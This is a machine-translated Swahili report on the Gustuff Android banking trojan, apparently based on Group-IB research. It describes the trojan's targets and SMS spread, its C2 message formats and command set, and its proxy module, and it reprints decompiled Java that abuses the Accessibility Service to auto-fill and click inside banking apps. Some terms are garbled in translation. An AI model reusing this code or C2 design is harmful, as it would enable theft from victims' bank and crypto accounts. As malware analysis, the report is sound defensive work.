Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako

Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako

Siku nyingine tu Group-IB taarifa kuhusu shughuli ya simu ya mkononi ya Trojan Gustuff. Inafanya kazi pekee katika masoko ya kimataifa, kushambulia wateja wa benki 100 kubwa zaidi za kigeni, watumiaji wa pochi 32 za simu za crypto, pamoja na rasilimali kubwa za e-commerce. Lakini msanidi wa Gustuff ni mhalifu wa mtandao anayezungumza Kirusi chini ya jina la utani la Bestoffer. Hadi hivi majuzi, alisifu Trojan yake kama "bidhaa kubwa kwa watu wenye ujuzi na uzoefu."

Mtaalamu mbaya wa uchanganuzi wa kanuni katika Group-IB Ivan Pisarev katika utafiti wake, anazungumza kwa undani kuhusu jinsi Gustuff anavyofanya kazi na hatari zake ni nini.

Gustuff anawinda nani?

Gustuff ni ya kizazi kipya cha programu hasidi iliyo na vitendaji vya kiotomatiki kikamilifu. Kulingana na msanidi programu, Trojan imekuwa toleo jipya na lililoboreshwa la programu hasidi ya AndyBot, ambayo tangu Novemba 2017 imekuwa ikishambulia simu za Android na kuiba pesa kupitia fomu za wavuti za kuhadaa ili kujifanya kuwa programu za simu za benki maarufu za kimataifa na mifumo ya malipo. Bestoffer aliripoti kuwa bei ya kukodisha ya Gustuff Bot ilikuwa $800 kwa mwezi.

Uchambuzi wa sampuli ya Gustuff ulionyesha kuwa Trojan inaweza kuwalenga wateja wanaotumia programu za simu za benki kubwa zaidi, kama vile Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, pamoja na Bitcoin. Wallet crypto pochi. BitPay, Cryptopay, Coinbase, nk.

Hapo awali iliundwa kama Trojan ya kawaida ya benki, katika toleo la sasa Gustuff imepanua kwa kiasi kikubwa orodha ya malengo yanayoweza kutekelezwa. Mbali na programu za Android za benki, kampuni za fintech na huduma za crypto, Gustuff inalenga watumiaji wa programu za sokoni, maduka ya mtandaoni, mifumo ya malipo na wajumbe wa papo hapo. Hasa, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut na wengine.

Hatua ya kuingia: hesabu ya maambukizi ya wingi

Gustuff ina sifa ya vekta "ya kawaida" ya kupenya kwenye simu mahiri za Android kupitia barua pepe za SMS zilizo na viungo vya APK. Wakati kifaa cha Android kimeambukizwa na Trojan kwa amri ya seva, Gustuff inaweza kuenea zaidi kupitia hifadhidata ya anwani ya simu iliyoambukizwa au kupitia hifadhidata ya seva. Utendaji wa Gustuff umeundwa kwa maambukizo ya wingi na mtaji wa juu wa biashara ya waendeshaji wake - ina kazi ya kipekee ya "kujaza-otomatiki" katika programu halali za benki ya rununu na pochi za crypto, ambayo hukuruhusu kuharakisha na kuongeza wizi wa pesa.

Utafiti wa Trojan ulionyesha kuwa kazi ya kujaza kiotomatiki ilitekelezwa ndani yake kwa kutumia Huduma ya Ufikiaji, huduma kwa watu wenye ulemavu. Gustuff sio Trojan ya kwanza kufaulu kukwepa ulinzi dhidi ya mwingiliano na vipengee vya dirisha vya programu zingine zinazotumia huduma hii ya Android. Walakini, utumiaji wa Huduma ya Ufikiaji pamoja na kichungi cha gari bado ni nadra sana.

Baada ya kupakua kwa simu ya mwathirika, Gustuff, kwa kutumia Huduma ya Ufikiaji, ina uwezo wa kuingiliana na vipengele vya dirisha vya programu nyingine (benki, cryptocurrency, pamoja na maombi ya ununuzi wa mtandaoni, ujumbe, nk), kufanya vitendo muhimu kwa washambuliaji. . Kwa mfano, kwa amri ya seva, Trojan inaweza kubonyeza vifungo na kubadilisha maadili ya sehemu za maandishi katika programu za benki. Kutumia utaratibu wa Huduma ya Ufikivu huruhusu Trojan kupita njia za usalama zinazotumiwa na benki ili kukabiliana na Trojans za simu za kizazi cha awali, pamoja na mabadiliko katika sera ya usalama iliyotekelezwa na Google katika matoleo mapya ya Android OS. Kwa hivyo, Gustuff "anajua jinsi" ya kuzima ulinzi wa Google Protect: kulingana na mwandishi, kazi hii inafanya kazi katika 70% ya kesi.

Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako

Gustuff pia inaweza kuonyesha arifa ghushi za PUSH zilizo na aikoni za programu halali za rununu. Mtumiaji anabofya arifa ya PUSH na anaona dirisha la ulaghai lililopakuliwa kutoka kwa seva, ambapo huingiza kadi ya benki iliyoombwa au data ya mkoba wa crypto. Katika hali nyingine ya Gustuff, maombi kwa niaba yake ambayo arifa ya PUSH ilionyeshwa inafunguliwa. Katika kesi hii, programu hasidi, kwa amri kutoka kwa seva kupitia Huduma ya Ufikiaji, inaweza kujaza sehemu za fomu za ombi la benki kwa shughuli ya ulaghai.

Utendaji wa Gustuff pia ni pamoja na kutuma habari kuhusu kifaa kilichoambukizwa kwa seva, uwezo wa kusoma/kutuma ujumbe mfupi wa maandishi, kutuma maombi ya USSD, kuzindua Wakala wa SOCKS5, kufuata kiungo, kutuma faili (pamoja na picha za hati, picha za skrini, picha) kwa seva , weka upya kifaa kwenye mipangilio ya kiwandani.

Uchambuzi wa Malware

Kabla ya kusakinisha programu hasidi, Mfumo wa Uendeshaji wa Android humwonyesha mtumiaji dirisha lililo na orodha ya haki zilizoombwa na Gustuff:

Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako
Programu itasakinishwa tu baada ya kupokea kibali cha mtumiaji. Baada ya kuzindua programu, Trojan itaonyesha mtumiaji dirisha:

Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako
Baada ya hapo itaondoa ikoni yake.

Gustuff imejaa, kulingana na mwandishi, na mfungaji kutoka FTT. Baada ya kuanza, programu huwasiliana mara kwa mara na seva ya CnC ili kupokea amri. Faili kadhaa tulizochunguza zilitumia anwani ya IP kama seva ya udhibiti 88.99.171[.]105 (hapo tutaashiria kama ).

Baada ya uzinduzi, programu huanza kutuma ujumbe kwa seva http://<%CnC%>/api/v1/get.php.

Jibu linatarajiwa kuwa JSON katika umbizo lifuatalo:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Kila wakati programu inapofikiwa, hutuma taarifa kuhusu kifaa kilichoambukizwa. Umbizo la ujumbe limeonyeshwa hapa chini. Ni muhimu kuzingatia kwamba mashamba Kamili, ziada, Apps ΠΈ ruhusa - hiari na itatumwa tu ikiwa kuna amri ya ombi kutoka kwa CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Kuhifadhi data ya usanidi

Gustuff huhifadhi taarifa muhimu kiutendaji katika faili ya upendeleo. Jina la faili, pamoja na majina ya vigezo ndani yake, ni matokeo ya kuhesabu jumla ya MD5 kutoka kwa kamba. 15413090667214.6.1Ambapo - thamani ya jina la awali. Tafsiri ya Python ya kazi ya kizazi cha jina:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Katika kile kinachofuata tutaashiria kama Jenereta ya jina(kiingiza).
Kwa hivyo jina la faili la kwanza ni: jenereta ya jina("API_SERVER_LIST"), ina maadili yenye majina yafuatayo:

Jina la kubadilika Thamani
jenereta ya jina("API_SERVER_LIST") Ina orodha ya anwani za CnC katika mfumo wa safu.
jenereta ya jina("API_SERVER_URL") Ina anwani ya CnC.
jenereta ya jina("SMS_UPLOAD") Bendera imewekwa kwa chaguo-msingi. Ikiwa bendera imewekwa, hutuma ujumbe wa SMS kwa CnC.
Jenereta ya jina("SMS_ROOT_NUMBER") Nambari ya simu ambayo ujumbe wa SMS uliopokelewa na kifaa kilichoambukizwa utatumwa. Chaguomsingi ni batili.
Jenereta ya jina("SMS_ROOT_NUMBER_RESEND") Bendera inafutwa kwa chaguo-msingi. Ikiwa imewekwa, wakati kifaa kilichoambukizwa kinapokea SMS, itatumwa kwa nambari ya mizizi.
jenereta ya jina("DEFAULT_APP_SMS") Bendera inafutwa kwa chaguo-msingi. Ripoti hii ikiwekwa, programu itachakata ujumbe unaoingia wa SMS.
jenereta ya jina("DEFAULT_ADMIN") Bendera inafutwa kwa chaguo-msingi. Ikiwa bendera imewekwa, programu ina haki za msimamizi.
jenereta ya jina("DEFAULT_ACCESSIBILITY") Bendera inafutwa kwa chaguo-msingi. Ikiwa bendera imewekwa, huduma inayotumia Huduma ya Ufikiaji inafanya kazi.
jenereta ya jina("APPS_CONFIG") Kipengee cha JSON ambacho kina orodha ya vitendo ambavyo lazima vitekelezwe wakati tukio la Ufikivu linalohusishwa na programu mahususi linapoanzishwa.
jenereta ya jina("APPS_INSTALLED") Huhifadhi orodha ya programu zilizosakinishwa kwenye kifaa.
Jenereta ya jina("IS_FIST_RUN") Bendera imewekwa upya mwanzoni mwa kwanza.
jenereta ya jina("UNIQUE_ID") Ina kitambulisho cha kipekee. Huzalishwa wakati kijibu kinapozinduliwa kwa mara ya kwanza.

Moduli ya usindikaji amri kutoka kwa seva

Programu huhifadhi anwani za seva za CnC katika mfumo wa safu iliyosimbwa na Msingi85 mistari. Orodha ya seva za CnC inaweza kubadilishwa baada ya kupokea amri inayofaa, katika hali ambayo anwani zitahifadhiwa katika faili ya upendeleo.

Kwa kujibu ombi, seva hutuma amri kwa programu. Ni vyema kutambua kwamba amri na vigezo vinawasilishwa katika muundo wa JSON. Programu inaweza kushughulikia amri zifuatazo:

Timu Description
mbeleAnza Anza kutuma ujumbe wa SMS uliopokelewa na kifaa kilichoambukizwa kwa seva ya CnC.
mbeleStop Acha kutuma ujumbe wa SMS uliopokelewa na kifaa kilichoambukizwa kwa seva ya CnC.
ussdRun Tekeleza ombi la USSD. Nambari ambayo unahitaji kufanya ombi la USSD iko katika sehemu ya "nambari" ya JSON.
tuma SMS Tuma ujumbe mmoja wa SMS (ikiwa ni lazima, ujumbe "umegawanyika" katika sehemu). Kama kigezo, amri huchukua kipengee cha JSON kilicho na sehemu "kwa" - nambari ya mwisho na "mwili" - kiini cha ujumbe.
tumaSmsAb Tuma ujumbe wa SMS (ikiwa ni lazima, ujumbe "umegawanyika" katika sehemu) kwa kila mtu katika orodha ya mawasiliano ya kifaa kilichoambukizwa. Muda kati ya kutuma ujumbe ni sekunde 10. Mwili wa ujumbe uko kwenye uwanja wa JSON "mwili"
tumaSmsMisa Tuma ujumbe wa SMS (ikiwa ni lazima, ujumbe "umegawanyika" katika sehemu) kwa anwani zilizotajwa katika vigezo vya amri. Muda kati ya kutuma ujumbe ni sekunde 10. Kama kigezo, amri inachukua safu ya JSON (sehemu ya "sms"), vipengele ambavyo vina sehemu "kwa" - nambari ya mwisho na "mwili" - kiini cha ujumbe.
badilishaSeva Amri hii inaweza kuchukua thamani kwa kutumia kitufe cha "url" kama kigezo - kisha roboti itabadilisha thamani ya nameGenerator("SERVER_URL"), au "safu" - kisha roboti itaandika safu kwa nameGenerator ("API_SERVER_LIST") Kwa hivyo, programu hubadilisha anwani ya seva za CnC.
adminNumber Amri imeundwa kufanya kazi na nambari ya mizizi. Amri inakubali kitu cha JSON chenye vigezo vifuatavyo: "namba" - badilisha jinaJenereta("ROOT_NUMBER") hadi thamani iliyopokelewa, "tuma tena" - badilisha jinaJenereta("SMS_ROOT_NUMBER_RESEND"), "sendId" - tuma kwa nameGenerator("ROOT_NUMBER" ) Kitambulisho cha kipekee.
updateInfo Tuma taarifa kuhusu kifaa kilichoambukizwa kwa seva.
futa kumbukumbu Amri imekusudiwa kufuta data ya mtumiaji. Kulingana na jina gani programu ilizinduliwa, data itafutwa kabisa kwa kuwasha upya kifaa (mtumiaji mkuu), au ni data ya mtumiaji pekee ndiyo inafutwa (mtumiaji wa pili).
soksiAnza Zindua moduli ya Wakala. Uendeshaji wa moduli umeelezwa katika sehemu tofauti.
soksiStop Acha moduli ya Wakala.
OpenLink Fuata kiungo. Kiungo kiko katika kigezo cha JSON chini ya kitufe cha "url". "android.intent.action.VIEW" inatumika kufungua kiungo.
uploadAllSms Tuma ujumbe wote wa SMS uliopokelewa na kifaa kwa seva.
uploadAllPhotos Tuma picha kutoka kwa kifaa kilichoambukizwa hadi kwa URL. URL inakuja kama kigezo.
uploadFile Tuma faili kwa URL kutoka kwa kifaa kilichoambukizwa. URL inakuja kama kigezo.
uploadNambari zaSimu Tuma nambari za simu kutoka kwa orodha yako ya anwani hadi kwa seva. Ikiwa thamani ya kitu cha JSON yenye kitufe cha "ab" itapokelewa kama kigezo, programu itapokea orodha ya waasiliani kutoka kwa kitabu cha simu. Ikiwa kipengee cha JSON chenye kitufe cha "sms" kitapokelewa kama kigezo, programu itasoma orodha ya anwani kutoka kwa watumaji wa SMS.
badilisha Kumbukumbu Programu hupakua faili kutoka kwa anwani inayokuja kama kigezo kwa kutumia kitufe cha "url". Faili iliyopakuliwa imehifadhiwa kwa jina "archive.zip". Kisha programu itafungua faili, kwa hiari kutumia nenosiri la kumbukumbu "b5jXh37gxgHBrZhQ4j3D". Faili ambazo hazijafungwa huhifadhiwa kwenye saraka ya [hifadhi ya nje]/hgps. Katika saraka hii, programu huhifadhi bandia za wavuti (zilizofafanuliwa hapa chini).
vitendo Amri imeundwa kufanya kazi na Action Service, ambayo imeelezwa katika sehemu tofauti.
mtihani Bila kufanya chochote.
download Amri imekusudiwa kupakua faili kutoka kwa seva ya mbali na kuihifadhi kwenye saraka ya "Vipakuliwa". URL na jina la faili huja kama kigezo, sehemu katika kipengee cha kigezo cha JSON, mtawalia: "url" na "fileName".
kuondoa Huondoa faili kutoka kwa saraka ya "Vipakuliwa". Jina la faili linakuja katika kigezo cha JSON na kitufe cha "fileName". Jina la kawaida la faili ni "tmp.apk".
notification Onyesha arifa iliyo na maelezo na maandishi ya mada yaliyofafanuliwa na seva ya usimamizi.

Umbizo la Amri notification:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Arifa inayotolewa na faili inayochunguzwa inaonekana sawa na arifa zinazotolewa na programu iliyoainishwa kwenye uwanja. programu. Ikiwa thamani ya shamba openApp - Kweli, arifa inapofunguliwa, programu iliyoainishwa kwenye uwanja inazinduliwa programu. Ikiwa thamani ya shamba openApp - Uongo, basi:

  • Dirisha la ulaghai hufungua, yaliyomo ambayo yanapakuliwa kutoka kwa saraka /hgps/
  • Dirisha la ulaghai hufungua, yaliyomo ambayo yanapakuliwa kutoka kwa seva ?id=&app=
  • Dirisha la kuhadaa ili kupata maelezo ya kibinafsi hufungua, likiwa limefichwa kama Kadi ya Google Play, ikiwa na fursa ya kuweka maelezo ya kadi.

Maombi hutuma matokeo ya amri yoyote kwa set_state.php kama kitu cha JSON katika umbizo lifuatalo:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

VitendoHuduma
Orodha ya amri ambazo michakato ya maombi inajumuisha hatua. Wakati amri inapokelewa, moduli ya usindikaji amri hupata huduma hii ili kutekeleza amri iliyopanuliwa. Huduma inakubali kitu cha JSON kama kigezo. Huduma inaweza kutekeleza amri zifuatazo:

1. PARAMS_ACTION - wakati wa kupokea amri kama hiyo, huduma hupokea kwanza kutoka kwa parameta ya JSON thamani ya kitufe cha Aina, ambayo inaweza kuwa kama ifuatavyo:

  • hudumaInfo - amri ndogo hupata thamani kwa ufunguo kutoka kwa parameta ya JSON ni pamoja naSiMuhimu. Ikiwa bendera ni Kweli, programu huweka bendera FLAG_ISOLATED_PROCESS kwa huduma kwa kutumia Huduma ya Ufikivu. Kwa njia hii huduma itazinduliwa katika mchakato tofauti.
  • mizizi β€” pokea na utume kwa seva habari kuhusu dirisha ambalo linaangaziwa kwa sasa. Programu hupata taarifa kwa kutumia darasa la AccessibilityNodeInfo.
  • admin - omba haki za msimamizi.
  • kuchelewa β€” sitisha Huduma ya Actions kwa idadi ya milisekunde iliyobainishwa kwenye kigezo cha kitufe cha "data".
  • madirisha β€” tuma orodha ya madirisha inayoonekana kwa mtumiaji.
  • kufunga β€” sakinisha programu kwenye kifaa kilichoambukizwa. Jina la kifurushi cha kumbukumbu liko kwenye kitufe cha "fileName". Kumbukumbu yenyewe iko kwenye saraka ya Vipakuliwa.
  • kimataifa - amri ndogo imekusudiwa kuzunguka kutoka kwa dirisha la sasa:
    • kwenye menyu ya Mipangilio ya Haraka
    • nyuma
    • nyumbani
    • kwa arifa
    • kwa dirisha la programu lililofunguliwa hivi karibuni

  • uzinduzi - zindua programu. Jina la programu huja kama kigezo kwa ufunguo data.
  • sauti β€” badilisha modi ya sauti iwe kimya.
  • kufungua β€” huwasha taa ya nyuma ya skrini na kibodi hadi mwangaza kamili. Programu hufanya kitendo hiki kwa kutumia WakeLock, ikibainisha kamba [Lebo ya programu]:INFO kama lebo.
  • ruhusaOverlay β€” chaguo la kukokotoa halijatekelezwa (jibu la utekelezaji wa amri ni {"ujumbe":"Hautumiki"} au {"ujumbe":"low sdk"})
  • ishara β€” chaguo la kukokotoa halijatekelezwa (jibu la utekelezaji wa amri ni {"ujumbe":"Hautumiki"} au {"ujumbe":"API ya Chini"})
  • ruhusa - amri hii ni muhimu ili kuomba ruhusa kwa programu. Walakini, kazi ya swala haijatekelezwa, kwa hivyo amri haina maana. Orodha ya haki zilizoombwa huja kama safu ya JSON iliyo na kitufe cha "ruhusa". Orodha ya kawaida:
    • admin
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.POKEA_SMS
    • android.permission.TUMA_SMS
    • android.permission.SOMA_SMS
    • idhini ya android.READ_EXTERNAL_STORAGE
    • idhini ya android.WRITE_EXTERNAL_STORAGE

  • kufungua - onyesha dirisha la kuhadaa ili kupata maelezo ya kibinafsi. Kulingana na kigezo kinachokuja kutoka kwa seva, programu inaweza kuonyesha madirisha yafuatayo ya hadaa:
    • Onyesha dirisha la kuhadaa ili kupata maelezo ya kibinafsi ambalo maudhui yake yameandikwa katika faili katika saraka /hgps/. Matokeo ya mwingiliano wa mtumiaji na dirisha yatatumwa kwa /records.php
    • Onyesha dirisha la hadaa ambalo maudhui yake yamepakiwa awali kutoka kwa anwani ?id=&app=. Matokeo ya mwingiliano wa mtumiaji na dirisha yatatumwa kwa /records.php
    • Onyesha dirisha la hadaa lililojificha kama Kadi ya Google Play.

  • maingiliano β€” amri imeundwa kuingiliana na vipengee vya dirisha vya programu zingine kwa kutumia AcessibilityService. Huduma maalum imetekelezwa katika mpango wa mwingiliano. Programu inayochunguzwa inaweza kuingiliana na windows:
    • Inatumika kwa sasa. Katika kesi hii, parameter ina id au maandishi (jina) ya kitu ambacho unahitaji kuingiliana.
    • Inaonekana kwa mtumiaji wakati amri inatekelezwa. Programu huchagua windows kwa kitambulisho.

    Baada ya kupokea vitu AccessibilityNodeInfo Kwa vipengele vya dirisha vya kupendeza, programu, kulingana na vigezo, inaweza kufanya vitendo vifuatavyo:

    • kuzingatia - kuweka lengo kwa kitu.
    • bonyeza - bonyeza kitu.
    • actionId - fanya kitendo kwa kitambulisho.
    • setText β€” badilisha maandishi ya kitu. Kubadilisha maandishi kunawezekana kwa njia mbili: fanya kitendo ACTION_SET_TEXT (ikiwa toleo la Android la kifaa kilichoambukizwa ni dogo kuliko au sawa na Lollipop), au kwa kuweka kamba kwenye ubao wa kunakili na kuibandika kwenye kitu (kwa matoleo ya zamani). Amri hii inaweza kutumika kubadilisha data katika programu ya benki.

2. VITENDO_VYA_PARAM - sawa na PARAMS_ACTION, ni safu ya amri za JSON pekee zinazofika.

Inaonekana kwamba watu wengi watapendezwa na jinsi kazi ya kuingiliana na vipengele vya dirisha la programu nyingine inaonekana. Hivi ndivyo utendaji huu unatekelezwa katika Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Chaguo za kubadilisha maandishi:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Kwa hivyo, kwa usanidi sahihi wa seva ya kudhibiti, Gustuff ina uwezo wa kujaza sehemu za maandishi kwenye programu ya benki na bonyeza kwenye vifungo muhimu ili kukamilisha shughuli. Trojan haihitaji hata kuingia kwenye programu-inatosha kutuma amri ili kuonyesha arifa ya PUSH na kisha kufungua programu ya benki iliyosakinishwa hapo awali. Mtumiaji atajithibitisha mwenyewe, baada ya hapo Gustuff ataweza kujaza gari.

Moduli ya usindikaji wa ujumbe wa SMS

Programu husakinisha kidhibiti tukio ili kifaa kilichoambukizwa kikubali ujumbe wa SMS. Programu iliyo chini ya utafiti inaweza kupokea amri kutoka kwa opereta, ambayo huja kwenye mwili wa ujumbe wa SMS. Amri huja katika muundo:

7!5=

Programu hutafuta mfuatano katika ujumbe wote wa SMS unaoingia 7!5=, kamba inapogunduliwa, huamua kamba kutoka kwa Base64 kwa kukabiliana na 4 na kutekeleza amri. Amri ni sawa na zile zilizo na CnC. Matokeo ya utekelezaji yanatumwa kwa nambari ile ile ambayo amri ilitoka. Muundo wa majibu:

7*5=

Kwa hiari, programu inaweza kutuma ujumbe wote uliopokelewa kwa nambari ya Mizizi. Ili kufanya hivyo, nambari ya Mizizi lazima ibainishwe kwenye faili ya upendeleo na bendera ya uelekezaji upya wa ujumbe lazima iwekwe. Ujumbe wa SMS hutumwa kwa nambari ya mshambulizi katika umbizo:

-

Pia, kwa hiari, programu inaweza kutuma ujumbe kwa CnC. Ujumbe wa SMS unatumwa kwa seva katika umbizo la JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ikiwa bendera imewekwa jenereta ya jina("DEFAULT_APP_SMS") - programu huacha kuchakata ujumbe wa SMS na kufuta orodha ya ujumbe unaoingia.

Moduli ya wakala

Programu inayochunguzwa ina moduli ya Proksi ya Backconnect (hapa inajulikana kama moduli ya Proksi), ambayo ina darasa tofauti linalojumuisha sehemu tuli zilizo na usanidi. Data ya usanidi huhifadhiwa katika sampuli katika fomu iliyo wazi:

Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako

Vitendo vyote vinavyofanywa na moduli ya Wakala huingia kwenye faili. Ili kufanya hivyo, programu katika Hifadhi ya Nje huunda saraka inayoitwa "logi" (uga wa ProxyConfigClass.logsDir katika darasa la usanidi), ambamo faili za kumbukumbu huhifadhiwa. Kuingia hutokea katika faili zilizo na majina:

  1. kuu.txt - kazi ya darasa inayoitwa CommandServer imeingia kwenye faili hii. Katika kile kinachofuata, kuingia kwa kamba kwenye faili hii kutaonyeshwa kama mainLog(str).
  2. kipindi-.txt - faili hii huhifadhi data ya kumbukumbu inayohusishwa na kipindi maalum cha seva mbadala. Katika kile kinachofuata, kuweka kamba kwenye faili hii kutaonyeshwa kama sessionLog (str).
  3. seva.txt - faili hii inatumiwa kuweka data zote zilizoandikwa kwa faili zilizoelezwa hapo juu.

Fomati ya data ya kumbukumbu:

[Thread[], id[]]: log-string

Vighairi vinavyotokea wakati wa uendeshaji wa moduli ya Proksi pia huwekwa kwenye faili. Ili kufanya hivyo, programu hutoa kitu cha JSON katika umbizo lifuatalo:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Kisha huibadilisha kuwa uwakilishi wa kamba na kuiweka kumbukumbu.

Moduli ya Wakala imezinduliwa baada ya kupokea amri inayolingana. Wakati amri ya kuzindua moduli ya Wakala inapokelewa, programu huanza huduma inayoitwa Huduma Kuu, ambayo ina jukumu la kusimamia uendeshaji wa moduli ya Wakala - kuanzia na kuisimamisha.

Hatua za kuanza huduma:

1. Huanzisha kipima muda kinachofanya kazi mara moja kwa dakika na kukagua shughuli za moduli ya Proksi. Ikiwa moduli haifanyi kazi, inaianzisha.
Pia wakati tukio limeanzishwa android.net.conn.CONNECTIVITY_CHANGE Moduli ya Wakala imezinduliwa.

2. Programu huunda wake-lock na kigezo PARTIAL_WAKE_LOCK na kumkamata. Hii huzuia CPU ya kifaa kwenda katika hali ya usingizi.

3. Inazindua darasa la usindikaji wa amri la moduli ya Proksi, kwanza kuweka laini mainLog("anza seva") ΠΈ

Seva::start() host[], commandPort[], proxyPort[]

ambapo proxy_cnc, command_port na proxy_port - vigezo vilivyopatikana kutoka kwa usanidi wa seva ya Wakala.

Darasa la usindikaji wa amri linaitwa CommandConnection. Mara tu baada ya kuanza, fanya vitendo vifuatavyo:

4. Inaunganisha kwa ProxyConfigClass.mwenyeji: ProxyConfigClass.commandPort na kutuma data kuhusu kifaa kilichoambukizwa huko katika umbizo la JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Ambapo:

  • kitambulisho - kitambulisho, hujaribu kupata thamani kwa uga wa "id" kutoka kwa faili ya Mapendeleo ya Pamoja inayoitwa "x". Ikiwa thamani hii haikuweza kupatikana, itazalisha mpya. Kwa hivyo, moduli ya Wakala ina kitambulisho chake, ambacho hutolewa sawa na Kitambulisho cha Bot.
  • imei - IMEI ya kifaa. Ikiwa hitilafu ilitokea wakati wa mchakato wa kupata thamani, ujumbe wa maandishi wa hitilafu utaandikwa badala ya uwanja huu.
  • imsi - Utambulisho wa Kimataifa wa Msajili wa Simu ya kifaa. Ikiwa hitilafu ilitokea wakati wa mchakato wa kupata thamani, ujumbe wa maandishi wa hitilafu utaandikwa badala ya uwanja huu.
  • mfano - Jina la mtumiaji-mwisho linaloonekana kwa bidhaa ya mwisho.
